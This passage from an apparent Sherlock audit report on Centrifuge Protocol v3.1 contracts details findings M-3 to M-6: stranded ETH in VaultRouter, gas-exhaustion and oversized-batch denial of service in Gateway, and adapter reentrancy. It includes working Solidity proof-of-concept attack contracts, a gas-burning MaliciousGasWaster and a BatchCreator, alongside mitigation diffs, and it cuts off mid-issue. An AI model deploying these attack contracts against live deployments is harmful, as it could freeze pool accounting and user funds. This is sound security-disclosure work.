In `_send()`, it cannot meet either `fuel >= cost` or `unpaidMode` (which is still `false`), so it reverts with `NotEnoughGas()`:

https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/core/messaging/Gateway.sol#L173-L189

```
    function _send(uint16 centrifugeId, bytes memory batch, uint128 batchGasLimit,
    ↪  address refund, uint256 fuel)
        internal
        returns (uint256 cost)
    {
        PoolId adapterPoolId = processor.messagePoolId(batch);
        require(!isOutgoingBlocked[centrifugeId][adapterPoolId], OutgoingBlocked());

        cost = adapter.estimate(centrifugeId, batch, batchGasLimit);
        if (fuel >= cost) {
            adapter.send{value: cost}(centrifugeId, batch, batchGasLimit, refund);
        } else if (unpaidMode) {
            _addUnpaidBatch(centrifugeId, batch, batchGasLimit);
            cost = 0;
        } else {
@>          revert NotEnoughGas();
        }
    }
```

Impact

Directly calling these core functions will revert, resulting in a DoS:

- `NAVManager.updateHoldingValue()`
- `OracleValuation.setPrice()`

As a result, functionality is broken for NAV and price propagation that relies on this update path.

PoC

No response

Mitigation

Make `onUpdate()` payable and forward the exact fee to `withBatch()`:

```
+   function onUpdate(PoolId poolId, ShareClassId scId, uint16 centrifugeId,
 ↪  uint128 netAssetValue) public payable virtual
-   function onUpdate(PoolId poolId, ShareClassId scId, uint16 centrifugeId,
 ↪  uint128 netAssetValue) public virtual {
        require(msg.sender == navUpdater, NotAuthorized());
        require(scId.index() == 1, InvalidShareClass());

+       gateway.withBatch{value: msg.value}(
-       gateway.withBatch(
            abi.encodeWithSelector(
                SimplePriceManager.onUpdateCallback.selector, poolId, scId,
                 ↪  centrifugeId, netAssetValue
            ),
            address(0)
        );
    }
```

Issue M-3: Stranded ETH on batched `crosschainTransferShares` call

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/397

Found by

gh0xt

Summary

ETH sent alongside a batched `crosschainTransferShares` call gets stranded on `VaultRouter`. In the batch path, the gateway is already funded separately, so the router never forwards or refunds `msg.value`. The ETH stays in the router's balance pending priviledged, unguaranteed admin recovery.

Root Cause

The `VaultRouter:crossChainTransferShares`, allows users transfer share tokens accross different `centrifugeId`. The function is payable but zeroes out `msg.value` if the `isBatching == true`.
https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/vaults/VaultRouter.sol#L118-L120 This makes sure that we dont have a revert at `Gateway:send` https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit/blob/main/protocol/src/core/messaging/Gateway.sol#L154 However, because the function simply zeroes out the `msg.Value` and does not refund the user their ETH, the ETH gets stuck in the `VaultRouter` contract. Even though the contract is recoverable; recovery is priviledged, not guaranteed and no sender attribution is preserved on the sweep, so the exact remediation pattern is not necessarily clear. This is also repeatable, affecting unsuspecting users following a supposed benign path.

Consider this, a user deposits in the `SyncVault` in `centrifugeId == 1` through the `VaultRouter`. They would like to have the `shareToken` on `centrifugeId == 2` but the `SyncVault`'s deposit does not mint cross network, so the user batches `deposit` with `crossChainTransfe`

rShares by calling the gateway's withBatch with a multicall contract. In this batched multicall, they also forward some ETH to the crossChainTransferShares as the function is payable. Because there are no check or reverts on msg.value > 0 when isBatching == true here, the function calls spoke.crosschainTransferShares with msg.Value == 0, leaving ETH stranded in the VaultRouter. On success, there is no internal refund path for the router, so autorecovery is not possible.

This is more than an accidental direct transfer because the same payable function legitimately requires ETH off batch yet silently discards it in batch.

Internal Pre-conditions

1. crosschainTransferShares path is payable and lacks require(msg.value == 0);
2. Router doesn't auto-route or refund ETH

External Pre-conditions

1. Caller submits a batch that calls crosschainTransferShares{value: X>0}
2. Call succeeds (valid ownership/allowance), and the batch has no step that withdraws or forwards the ETH

Attack Path

1. User deposits into SyncDepositVault on chain A via VaultRouter.deposit, minting **local** shares
2. User approves router to move those shares
3. User builds a batch via gateway.withBatch that calls VaultRouter.crosschainTransferShares and attaches ETH
4. Router enters batching mode: gateway.isBatching()==true
5. crosschainTransferShares pulls shares from user, then calls spoke.crosschainTransferShares{ value: 0 }(...) because batching forces value: 0
6. The spoke call proceeds without needing the user's ETH. No revert occurs

7. The batch commits. The ETH sent to the router is **not refunded** and remains in `VaultRouter`
8. Shares get bridged to chain B as intended; user believes all good
9. ETH is now stranded in `VaultRouter` balance; only recoverable by privileged sweep, no sender attribution
10. Repeating this pattern in more batches accumulates more stuck ETH

Impact

It is a repeatable and reachable loss of user supplied ETH via a benign flow. As there are no automatic refunds, only a privileged sweep can recover the lost funds (of varying amounts, >$10 possible) with no sender attribution.

PoC

Add this suite to `test/vaults/integration`:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.28;

import "../../../src/misc/interfaces/IERC20.sol";
import "../../../src/misc/interfaces/IERC7540.sol";
import "../../../src/misc/interfaces/IERC7575.sol";
import {CastLib} from "../../../src/misc/libraries/CastLib.sol";
import {MathLib} from "../../../src/misc/libraries/MathLib.sol";
import {IERC7751} from "../../../src/misc/interfaces/IERC7751.sol";

import "../../core/spoke/integration/BaseTest.sol";

import {ISpoke} from "../../../src/core/spoke/interfaces/ISpoke.sol";
import {MessageLib} from "../../../src/core/messaging/libraries/MessageLib.sol";

import {VaultRouter} from "../../../src/vaults/VaultRouter.sol";
import {IBaseVault} from "../../../src/vaults/interfaces/IBaseVault.sol";
import {SyncDepositVault} from "../../../src/vaults/SyncDepositVault.sol";
import {IAsyncVault} from "../../../src/vaults/interfaces/IAsyncVault.sol";
```

```
import {IVaultRouter} from "../../../src/vaults/interfaces/IVaultRouter.sol";
import {IAsyncRequestManager} from
↪  "../../../src/vaults/interfaces/IVaultManagers.sol";
import {IGateway} from "../../../src/core/messaging/interfaces/IGateway.sol";

// Helper to drive Gateway.withBatch and forward ETH to the router inside the
↪  callback
contract BatchCallback {
    IGateway public immutable G;
    IVaultRouter public immutable R;

    constructor(IGateway g, IVaultRouter r) { G = g; R = r; }

    // Called by Gateway.withBatch(...) with {value: callbackValue}
    function _run2(bytes calldata call1, bytes calldata call2) external payable {
        // step 1: deposit (nonpayable)
        (bool ok1,) = address(R).call(call1);
        require(ok1, "router call1 failed");

        // step 2: crosschainTransferShares (payable, but batching will zero
        ↪  msg.value internally)
        (bool ok2,) = address(R).call{value: msg.value}(call2);
        require(ok2, "router call2 failed");

        G.lockCallback();
    }

    function start2(bytes calldata call1, bytes calldata call2, uint256
    ↪  callbackValue, address refund) external payable {
        G.withBatch{value: msg.value}(
            abi.encodeWithSelector(this._run2.selector, call1, call2),
            callbackValue,
            refund
        );
    }
}
```

```
contract VaultRouterAuditTest is BaseTest {
    using MessageLib for *;
    using MathLib for uint256;

    uint256 constant GAS = 10_000_000; // 10M gas
    bytes PAYLOAD_FOR_GAS_ESTIMATION = MessageLib.NotifyPool(1).serialize();

    function test_BatchedDepositAndCrosschain_StrandsETHOnRouter() public {
        // Deploy vault
        (, address vaultAddr,) =
        ↪  deploySimpleVault(VaultKind.SyncDepositAsyncRedeem);
        SyncDepositVault vault = SyncDepositVault(vaultAddr);
        IShareToken share = IShareToken(address(vault.share()));

        // Cross-chain prerequisites
        uint16 dst = 2; // non-local centrifugeId
        centrifugeChain.updateMember(vault.poolId().raw(), vault.scId().raw(),
        ↪  address(uint160(dst)), type(uint64).max);
        root.endorse(address(uint160(dst)));
        root.endorse(address(spoke));

        // Batch helper + memberships so hook allows mint/transfer to callback
        BatchCallback cb = new BatchCallback(gateway, vaultRouter);
        centrifugeChain.updateMember(vault.poolId().raw(), vault.scId().raw(),
        ↪  address(cb), type(uint64).max);
        root.endorse(address(cb));

        // Assets → callback; approvals for router
        uint256 assets = 100e18;
        erc20.mint(address(this), assets);
        erc20.transfer(address(cb), assets);
        vm.prank(address(cb));
        erc20.approve(address(vaultRouter), assets);

        // Precompute shares and pre-approve share allowance from callback to router
        uint256 sharesToSend = vault.previewDeposit(assets);
        vm.prank(address(cb));
        share.approve(address(vaultRouter), type(uint256).max);
```

```
        // Build inner router calls executed inside the single withBatch callback
        bytes memory call1 = abi.encodeWithSelector(
            vaultRouter.deposit.selector,
            vault,
            assets,
            address(cb),  // receiver = callback
            address(cb)   // owner = callback (router pulls assets from cb)
        );

        uint256 half = sharesToSend / 2;
        bytes memory call2 = abi.encodeWithSelector(
            vaultRouter.crosschainTransferShares.selector,
            vault,
            uint128(half),
            dst,
            bytes32(bytes20(address(this))), // receiver on dst
            address(cb),                     // owner = callback
            0,                               // extraGasLimit
            0,                               // remoteExtraGasLimit
            address(0)                       // refund
        );

        // Fund batch: COST to gateway, DUST to callback; DUST will be forwarded on
        ↪  call2 and stranded on router
        uint256 COST = 1 ether;
        uint256 STUCK_ETH = 1 ether;
        vm.deal(address(cb), COST + STUCK_ETH);

        uint256 before = address(vaultRouter).balance;
        cb.start2{value: COST + STUCK_ETH}(call1, call2, STUCK_ETH, address(this));
        uint256 after_ = address(vaultRouter).balance;

        assertEq(after_ - before, STUCK_ETH, "ETH should remain on router when
        ↪  batching deposit+transfer");
    }
}
```

Mitigation

Add a guard at function entry.

```
error ETHNotAcceptedInBatch();

function crosschainTransferShares(...) external payable protected {
    bool batching = gateway.isBatching();
    if (batching && msg.value != 0) revert ETHNotAcceptedInBatch();

    // …
    spoke.crosschainTransferShares{ value: batching ? 0 : msg.value }(...);
}
```

Issue M-4: Inadequate gas reservation in `Gateway.handle()` try-catch block enables permanent DOS via batch-level gas exhaustion

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/512

Found by

0x52

Summary

`Gateway.handle()` uses inadequate gas management when processing batched messages, reserving only `GAS_FAIL_MESSAGE_STORAGE` (40,000 gas) for the current message via `gasleft() - GAS_FAIL_MESSAGE_STORAGE` while ignoring all remaining messages in the batch. This allows malicious `UntrustedContractUpdate` messages to consume nearly all forwarded gas, leaving insufficient gas for subsequent messages. Even with 30M gas (full Ethereum block), just 3 gas-wasting messages can exhaust all gas, causing critical messages like `UpdateHoldingAmount` to permanently fail with `NotEnoughGasToProcess()`. The root cause is that `Gateway.handle()` only reserves gas for the current message's failure storage, not for all remaining messages in the batch.

Root Cause

Gateway.sol#L116 - Forwards `gasleft() - GAS_FAIL_MESSAGE_STORAGE` to processor, reserving only 40K for current message instead of `remainingMessages * GAS_FAIL_MESSAGE_STORAGE`

Vulnerability Detail

The vulnerability lies in `Gateway.handle()`'s inadequate gas reservation strategy when processing batched messages. The function only reserves `GAS_FAIL_MESSAGE_STORAGE` (40,000 gas) for the current message's failure storage, completely ignoring that remaining messages in the batch also need gas to pass the `gasleft()` check:

Gateway.sol#L98-L123

```
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
    ...
    while (remaining.length > 0) {
        uint256 length = processor.messageLength(remaining);
        bytes memory message = remaining.slice(0, length);
        ...
        remaining = remaining.slice(length, remaining.length - length);
        bytes32 messageHash = keccak256(message);

        require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess()); //
        ↪ Line 114

        try processor.handle{gas: gasleft() -
        ↪ GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) { // Line 116
            emit ExecuteMessage(centrifugeId, message, messageHash);
        } catch (bytes memory err) {
            failedMessages[centrifugeId][messageHash]++;
            emit FailMessage(centrifugeId, message, messageHash, err);
        }
    }
}
```

At line 114, `Gateway.handle()` checks `gasleft() > GAS_FAIL_MESSAGE_STORAGE` (40,000 gas), ensuring the current message has enough gas for failure storage. At line 116, it forwards `gasleft() - GAS_FAIL_MESSAGE_STORAGE` to `processor.handle()`.

The critical flaw: This formula only accounts for the **current** message, not the **remaining** messages in the batch. If there are N remaining messages, the function should reserve `N * GAS_FAIL_MESSAGE_STORAGE` to ensure each subsequent message can pass the `gasleft()` check and have enough gas for its own storage operations if it fails.

The attack exploits `spoke.updateContract()`, which is permissionless and allows targeting any contract:

Spoke.sol#L159-L172

```
function updateContract(
    PoolId poolId,
    ShareClassId scId,
    bytes32 target,
    bytes calldata payload,
    uint128 extraGasLimit,
    address refund
) external payable {
    emit UntrustedContractUpdate(poolId.centrifugeId(), poolId, scId, target,
    ↪  payload, msg.sender);

    sender.sendUntrustedContractUpdate{value: msg.value}(
        poolId, scId, target, payload, msg.sender.toBytes32(), extraGasLimit, refund
    );
}
```

An attacker deploys a malicious contract that burns gas through computation:

```
function untrustedCall(...) external view {
    uint256 gasStart = gasleft();
    uint256 dummy;
    while (gasleft() > gasStart / 64) {
        dummy = uint256(keccak256(abi.encode(dummy)));
    }
}
```

The attack leverages nested batching via `Gateway.withBatch()` combined with `QueueManager.sync()`, allowing malicious `UntrustedContractUpdate` messages to be batched with critical system messages like `UpdateHoldingAmount` and `ExecuteTransferShares`.

For clarity, here's the mathematical breakdown of how the inadequate gas reservation leads to DOS. This illustrates why the attack works even with 30M gas (full Ethereum block) and demonstrates that EIP-150's 63/64 gas forwarding rule, combined with storage operations consuming the reserved 40K, causes the gas to decay until

subsequent messages fail.

Message 1 (malicious `UntrustedContractUpdate`):

- Gateway has: `30,000,000` gas before check
- Passes check: `gasleft() > 40,000` ✅
- Gateway forwards: `gasleft() - 40,000 = 29,960,000` gas
- Malicious contract burns: `63/64 * 29,960,000 = 29,491,875` gas
- Gas remaining after forwarding: `30,000,000 - 29,491,875 = 508,125` gas
- **Storage operations:** `failedMessages[centrifugeId][messageHash]++` and `emit FailMessage(...)` cost ~40,000 gas
- **Gas remaining after Message 1:** `508,125 - 40,000 = 468,125` **gas**

Message 2 (malicious `UntrustedContractUpdate`):

- Gateway has: `468,125` gas before check
- Passes check: `gasleft() > 40,000` ✅
- Gateway forwards: `468,125 - 40,000 = 428,125` gas
- Malicious contract burns: `63/64 * 428,125 = 421,445` gas
- Gas remaining after forwarding: `468,125 - 421,445 = 46,680` gas
- **Storage operations:** ~40,000 gas
- **Gas remaining after Message 2:** `46,680 - 40,000 = 6,680` **gas**

Message 3 (malicious `UntrustedContractUpdate`):

- Gateway has: `6,680` gas before check
- **FAILS check:** `gasleft() > 40,000` ❌ (6,680 < 40,000)
- **REVERTS with `NotEnoughGasToProcess()` at line 114**
- Entire batch reverts, messages permanently stuck

Message 4 (critical `UpdateHoldingAmount`):

- Never executed - batch already reverted at Message 3

The key insight is that each failed message's **storage operations** consume approximately 40,000 gas. After just 2 malicious messages, the remaining gas drops to 6,680, which fails the `gasleft() > 40,000` check for Message 3. The `GAS_FAIL_MESSAGE_STORAGE` constant accounts for the current message's failure storage but **not** for all remaining messages in the batch. No amount of starting gas can prevent this attack when enough malicious messages are batched before critical messages.

Impact

Critical system messages batched with malicious `UntrustedContractUpdate` messages become permanently stuck and cannot be processed. When the batch executes, it reverts at the `Gateway.handle()` level before reaching individual message processing, making the entire batch unrecoverable.

Affected message types include `UpdateHoldingAmount` messages that synchronize pool accounting state between hub and spoke chains, and `ExecuteTransferShares` messages used in spoke-to-spoke share transfers. When these messages are blocked, pools cannot update their holding amounts and users cannot transfer shares between spoke chains, breaking core cross-chain functionality.

Proof of Concept

Add the following file to `protocol/test`:

```
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IUntrustedContractUpdate} from
↪  "../src/core/utils/interfaces/IContractUpdate.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
```

```
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from
↪  "../src/core/messaging/libraries/MessageLib.sol";
import "forge-std/console.sol";

/**
 * @notice Malicious contract that burns gas through computation
 */
contract MaliciousGasWaster is IUntrustedContractUpdate {
    function untrustedCall(
        PoolId /* poolId */,
        ShareClassId /* scId */,
        bytes calldata /* payload */,
        uint16 /* centrifugeId */,
        bytes32 /* sender */
    ) external view override {
        // Burn gas by looping until we've consumed 63/64 of received gas
        uint256 gasStart = gasleft();
        uint256 dummy;
        while (gasleft() > gasStart / 64) {
            dummy = uint256(keccak256(abi.encode(dummy)));
        }
    }
}

/**
 * @notice Contract that creates the malicious batch
 */
contract BatchCreator {
    IGateway public gateway;
    ISpoke public spoke;
    IQueueManager public queueManager;
    PoolId public poolId;
    ShareClassId public scId;
    AssetId[] public assetIds;
    address public maliciousTarget;

    constructor(
```

```
        address _gateway,
        address _spoke,
        address _queueManager,
        PoolId _poolId,
        ShareClassId _scId,
        address _maliciousTarget
    ) {
        gateway = IGateway(_gateway);
        spoke = ISpoke(_spoke);
        queueManager = IQueueManager(_queueManager);
        poolId = _poolId;
        scId = _scId;
        maliciousTarget = _maliciousTarget;
    }

    function setAssetIds(AssetId[] memory _assetIds) external {
        delete assetIds;
        for (uint i = 0; i < _assetIds.length; i++) {
            assetIds.push(_assetIds[i]);
        }
    }

    receive() external payable {}

    function createMaliciousBatch() external payable {
        gateway.withBatch{value: msg.value}(
            abi.encodeWithSelector(this.batchCallback.selector),
            address(this)
        );
    }

    function batchCallback() external payable {
        // Add 3 UntrustedContractUpdate messages (gas wasters)
        for (uint256 i = 0; i < 3; i++) {
            spoke.updateContract{value: 0}(
                poolId,
                scId,
                bytes32(bytes20(maliciousTarget)),
```

```
                "",
                0,
                address(this)
            );
        }

        gateway.lockCallback();

        // Add system message via nested batch
        queueManager.sync{value: 0}(poolId, scId, assetIds, address(this));
    }
}

contract GasExhaustionDOSTest is BaseTest {
    using MessageLib for *;
    using BytesLib for bytes;

    MaliciousGasWaster public gasWaster;
    BatchCreator public batchCreator;
    ShareClassId defaultTypedShareClassId;

    function setUp() public override {
        super.setUp();

        defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
        balanceSheet.updateManager(POOL_A, address(queueManager), true);

        // Deploy vaults
        address asset1 = address(erc20);
        address asset2 = address(new ERC20(6));

        (,, uint128 createdAssetId1) =
            deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0),
            ↪  defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
        (,, uint128 createdAssetId2) =
            deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0),
            ↪  defaultShareClassId, asset2, 0, THIS_CHAIN_ID);
```

```
        // Deploy attack contracts
        gasWaster = new MaliciousGasWaster();
        batchCreator = new BatchCreator(
            address(gateway),
            address(spoke),
            address(queueManager),
            POOL_A,
            defaultTypedShareClassId,
            address(gasWaster)
        );

        // Set asset IDs for sync
        AssetId[] memory assets = new AssetId[](2);
        assets[0] = AssetId.wrap(createdAssetId1);
        assets[1] = AssetId.wrap(createdAssetId2);
        batchCreator.setAssetIds(assets);

        // Queue deposits to trigger sync messages
        erc20.mint(address(asyncRequestManager), 1000e18);
        vm.prank(address(asyncRequestManager));
        erc20.approve(address(balanceSheet), 1000e18);
        vm.prank(address(asyncRequestManager));
        balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);

        balanceSheet.updateManager(POOL_A, address(batchCreator), true);
    }

    /// forge-config: default.isolate = true
    function testGasExhaustionDOS() public {
        console.log("\n=== GAS EXHAUSTION DOS ATTACK ===\n");

        // Create malicious batch
        batchCreator.createMaliciousBatch{value: 1 ether}();

        // Get the actual batch that was sent through the adapter
        bytes memory batch = adapter1.values_bytes("send");
        require(batch.length > 0, "No batch was sent");
        console.log("Batch size:", batch.length, "bytes");
```

```
// Parse and display batch contents
console.log("Batch contents:");
bytes memory remaining = batch;
uint256 maliciousCount = 0;

while (remaining.length > 0) {
    uint256 length = gateway.processor().messageLength(remaining);
    bytes memory message = remaining.slice(0, length);
    MessageType msgType = MessageLib.messageType(message);

    string memory typeStr = msgType == MessageType.UntrustedContractUpdate
        ? "UntrustedContractUpdate (gas waster)"
        : "UpdateHoldingAmount (victim)";
    console.log("  -", typeStr);
    remaining = remaining.slice(length, remaining.length - length);
}

// Execute with 30M gas (full Ethereum block)
console.log("\nExecuting batch with 30M gas (full block)...");

bool didRevert = false;
try centrifugeChain.execute{gas: 30_000_000}(batch) {
    console.log("FAILED: Batch executed successfully");
} catch (bytes memory err) {
    didRevert = true;
    console.log("SUCCESS: Batch REVERTED due to gas exhaustion\n");

    if (err.length >= 4 && bytes4(err) == 0xb2df9126) {
        console.log("Error: NotEnoughGasToProcess() [0xb2df9126]");
        console.log("Occurs at Gateway.sol:114 when gasleft() <= 40K\n");
    }
}

console.log("=== PROOF OF DOS ===");
console.log("UpdateHoldingAmount cannot execute even with full block gas");
console.log("This permanently blocks critical pool accounting updates!");
```

```
        require(didRevert, "Attack failed - batch should have reverted");
    }
}
```

Code Snippet

Gateway.sol#L98-L123

Tool Used

Manual Review

Recommendation

Fix the inadequate gas reservation in `Gateway.handle()` by reserving gas for **all remaining messages** instead of just the current message. The current formula `gasleft() - GAS_FAIL_MESSAGE_STORAGE` only accounts for the current message's failure storage, causing subsequent messages to fail when gas is exhausted.

The fix requires two changes:

1. **Parse all messages first** to get an exact count
2. **Reserve gas for all remaining messages** using `remainingMessages * GAS_FAIL_MESSAGE_STORAGE`

```
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
    PoolId batchPoolId = processor.messagePoolId(batch);
-   bytes memory remaining = batch;
+
+   // Parse and store all messages
+   bytes[] memory messages = new bytes[](0);
+   bytes32[] memory messageHashes = new bytes32[](0);
+   bytes memory remaining = batch;
+
+   while (remaining.length > 0) {
+       uint256 length = processor.messageLength(remaining);
+       bytes memory message = remaining.slice(0, length);
```

```
+
+       if (remaining.length != batch.length) {
+           require(batchPoolId == processor.messagePoolId(message),
↪  MalformedBatch());
+       }
+
+       // Store message and hash
+       bytes[] memory tempMessages = new bytes[](messages.length + 1);
+       bytes32[] memory tempHashes = new bytes32[](messageHashes.length + 1);
+       for (uint256 i = 0; i < messages.length; i++) {
+           tempMessages[i] = messages[i];
+           tempHashes[i] = messageHashes[i];
+       }
+       tempMessages[messages.length] = message;
+       tempHashes[messageHashes.length] = keccak256(message);
+       messages = tempMessages;
+       messageHashes = tempHashes;
+
+       remaining = remaining.slice(length, remaining.length - length);
+   }
+
+   uint256 totalMessages = messages.length;
+   require(totalMessages > 0, EmptyBatch());

-   while (remaining.length > 0) {
-       uint256 length = processor.messageLength(remaining);
-       bytes memory message = remaining.slice(0, length);
-
-       if (remaining.length != batch.length) {
-           require(batchPoolId == processor.messagePoolId(message),
↪  MalformedBatch());
-       }
-
-       remaining = remaining.slice(length, remaining.length - length);
-       bytes32 messageHash = keccak256(message);
-
+   // Execute messages with proper gas reservation for ALL remaining messages
+   for (uint256 i = 0; i < totalMessages; i++) {
```

```
+       bytes memory message = messages[i];
+       bytes32 messageHash = messageHashes[i];
+
+       // ← FIX: Reserve gas for ALL remaining messages, not just current
+       uint256 remainingMessages = totalMessages - i;
+       uint256 gasReserveForRemaining = remainingMessages *
 ↪  GAS_FAIL_MESSAGE_STORAGE;
+
        require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess());

-       try processor.handle{gas: gasleft() -
 ↪  GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) {
+       try processor.handle{gas: gasleft() - gasReserveForRemaining}(centrifugeId,
 ↪  message) {
            emit ExecuteMessage(centrifugeId, message, messageHash);
        } catch (bytes memory err) {
            failedMessages[centrifugeId][messageHash]++;
            emit FailMessage(centrifugeId, message, messageHash, err);
        }
    }
}
```

Issue M-5: `Gateway.withBatch()` lacks message count validation enabling permanent DOS via an excessive number of messages in a batch

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/560

Found by

0x52

Summary

An attacker can permanently DOS cross-chain message processing by creating batches with excessive numbers of messages that collectively exceed the block gas limit on the receiving chain. The protocol lacks validation on the number of messages when batches are created on the sending side via `Gateway.withBatch()`, allowing attackers to construct batches with hundreds of messages. Even if each individual message wastes only a small amount of gas, the sheer volume of messages makes the batch unprocessable on the receiving chain, causing permanent DOS of critical pool accounting synchronization.

Root Cause

Gateway.sol#L230-L256 - `Gateway.withBatch()` has no validation on message count before accepting messages into a batch

Vulnerability Detail

The vulnerability lies in `Gateway.withBatch()`'s complete lack of validation on the number of messages in a batch. While this function is designed to enable legitimate

multi-message operations, there is no check to limit how many messages can be included.

Gateway.sol#L230-L256

```
function withBatch(bytes memory data, uint256 callbackValue, address refund) public
↪  payable {
    require(callbackValue <= msg.value, NotEnoughValueForCallback());

    bool isNested = isBatching;
    isBatching = true;

    _batcher = msg.sender;
    (bool success, bytes memory returnData) = msg.sender.call{value:
    ↪  callbackValue}(data);
    if (!success) {
        uint256 length = returnData.length;
        require(length != 0, CallFailedWithEmptyRevert());

        assembly ("memory-safe") {
            revert(add(32, returnData), length)
        }
    }

    // Force the user to call lockCallback()
    require(address(_batcher) == address(0), CallbackWasNotLocked());

    if (isNested) {
        _refund(refund, msg.value - callbackValue);
    } else {
        uint256 cost = _endBatching(msg.value - callbackValue, refund);
        _refund(refund, msg.value - callbackValue - cost);
    }
}
```

The function accepts the batch and sends it to the destination chain without any validation on message count. This allows attackers to create batches with hundreds of messages, where the cumulative gas requirement exceeds the block gas limit (30M on Ethereum).

One example would be using `spoke.updateContract()`:

Spoke.sol#L159-L172

```
function updateContract(
    PoolId poolId,
    ShareClassId scId,
    bytes32 target,
    bytes calldata payload,
    uint128 extraGasLimit,
    address refund
) external payable {
    emit UntrustedContractUpdate(poolId.centrifugeId(), poolId, scId, target,
    ↪  payload, msg.sender);

    sender.sendUntrustedContractUpdate{
        value: msg.value
    }(poolId, scId, target, payload, msg.sender.toBytes32(), extraGasLimit, refund);
}
```

This function allows anyone to create `UntrustedContractUpdate` messages targeting any contract. An attacker can use `gateway.withBatch()` to bundle hundreds of these messages together with critical system messages like `UpdateHoldingAmount`.

When the batch reaches the receiving chain and `Gateway.handle()` attempts to process it, each message consumes gas for processing overhead, contract execution, and storage operations. With enough messages, the total gas requirement exceeds the block gas limit.

When `Gateway.handle()` attempts to process this batch on the receiving chain, it runs out of gas and reverts with `NotEnoughGasToProcess()`. The batch becomes permanently stuck because:

1. The batch cannot be processed (exceeds block gas limit)
2. The protocol has no mechanism to skip or split oversized batches
3. Critical messages bundled in the same batch (like `UpdateHoldingAmount`) cannot execute
4. Pool accounting synchronization breaks permanently

The vulnerability exists because batch creation has no message count validation. The batch is accepted and sent to the destination chain where it becomes unprocessable.

Impact

Critical system messages batched with excessive numbers of gas-wasting messages become permanently stuck and cannot be processed. When the batch executes on the receiving chain, it reverts at the `Gateway.handle()` level due to exceeding the block gas limit, making the entire batch unrecoverable.

Affected message types include `UpdateHoldingAmount` messages that synchronize pool accounting state between hub and spoke chains, and `ExecuteTransferShares` messages used in spoke-to-spoke share transfers. When these messages are blocked, pools cannot update their holding amounts and users cannot transfer shares between spoke chains, breaking core cross-chain functionality.

Code Snippet

Gateway.sol#L258-L277

Tool Used

Manual Review

Recommendation

Implement a configurable maximum message count limit on the sending side to prevent creation of batches with excessive numbers of messages. The fix requires two components:

1. Add a configurable `maxBatchMessages` parameter that can be set by governance
2. Count messages in the batch and validate the count before sending

```
contract Gateway {
+   uint256 public maxBatchMessages; // Configurable max messages per batch
```

```
    function _endBatching(uint256 fuel, address refund) internal returns (uint256
    ↪  cost) {
        require(isBatching, NoBatched());
        bytes32[] memory locators =
        ↪  TransientArrayLib.getBytes32(BATCH_LOCATORS_SLOT);

        TransientArrayLib.clear(BATCH_LOCATORS_SLOT);

        for (uint256 i; i < locators.length; i++) {
            (uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
            bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
            uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();
            bytes memory batch = TransientBytesLib.get(outboundBatchSlot);

+           // Validate batch doesn't exceed message count limit
+           uint256 messageCount = _countMessages(batch);
+           require(messageCount <= maxBatchMessages, TooManyMessages());

            cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);

            TransientBytesLib.clear(outboundBatchSlot);
            _gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
        }

        isBatching = false;
    }

+   function _countMessages(bytes memory batch_) internal view returns (uint256
    ↪  count) {
+       bytes memory remaining = batch_;
+       while (remaining.length > 0) {
+           uint256 length = processor.messageLength(remaining);
+           remaining = remaining.slice(length, remaining.length - length);
+           count++;
+       }
+   }
}
```

Issue M-6: Malicious adapters can exploit message batching via adapter-side reentrancy to cause message loss for any other pool

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/635

Found by

0x52

Summary

`Gateway._endBatching()` copies batch locators to memory then immediately clears transient storage before iterating. During iteration, malicious adapters can reenter through `adapter.send()` to create new batches in the cleared transient storage. These batches are never sent because the function iterates over its stale memory copy of locators. When the transaction ends, all transient storage is cleared, permanently destroying critical accounting messages and causing unrecoverable pool accounting desynchronization between Hub and Spoke chains.

Root Cause

Gateway.sol#L258-L277 - `Gateway._endBatching()` lacks reentrancy protection, allowing malicious adapters to reenter during the batch send loop and create new batches that are never processed.

Vulnerability Detail

`Gateway._endBatching()` copies the batch locators array to memory, immediately clears the transient storage, then iterates over the memory copy. This creates a window where `isBatching` remains `true` but the transient locators array is empty. During this window, a malicious adapter can reenter through `adapter.send()` to create new batches that are

added to the cleared transient storage. These new batches are never sent because the function continues iterating over the stale memory copy of locators.

When `Gateway.withBatch()` is called, it sets `isBatching = true` and invokes the user's callback to populate batches:

Gateway.sol#L230-L256

```
function withBatch(bytes memory data, uint256 callbackValue, address refund) public
↪  payable {
    require(callbackValue <= msg.value, NotEnoughValueForCallback());

    bool isNested = isBatching;
    isBatching = true;

    _batcher = msg.sender;
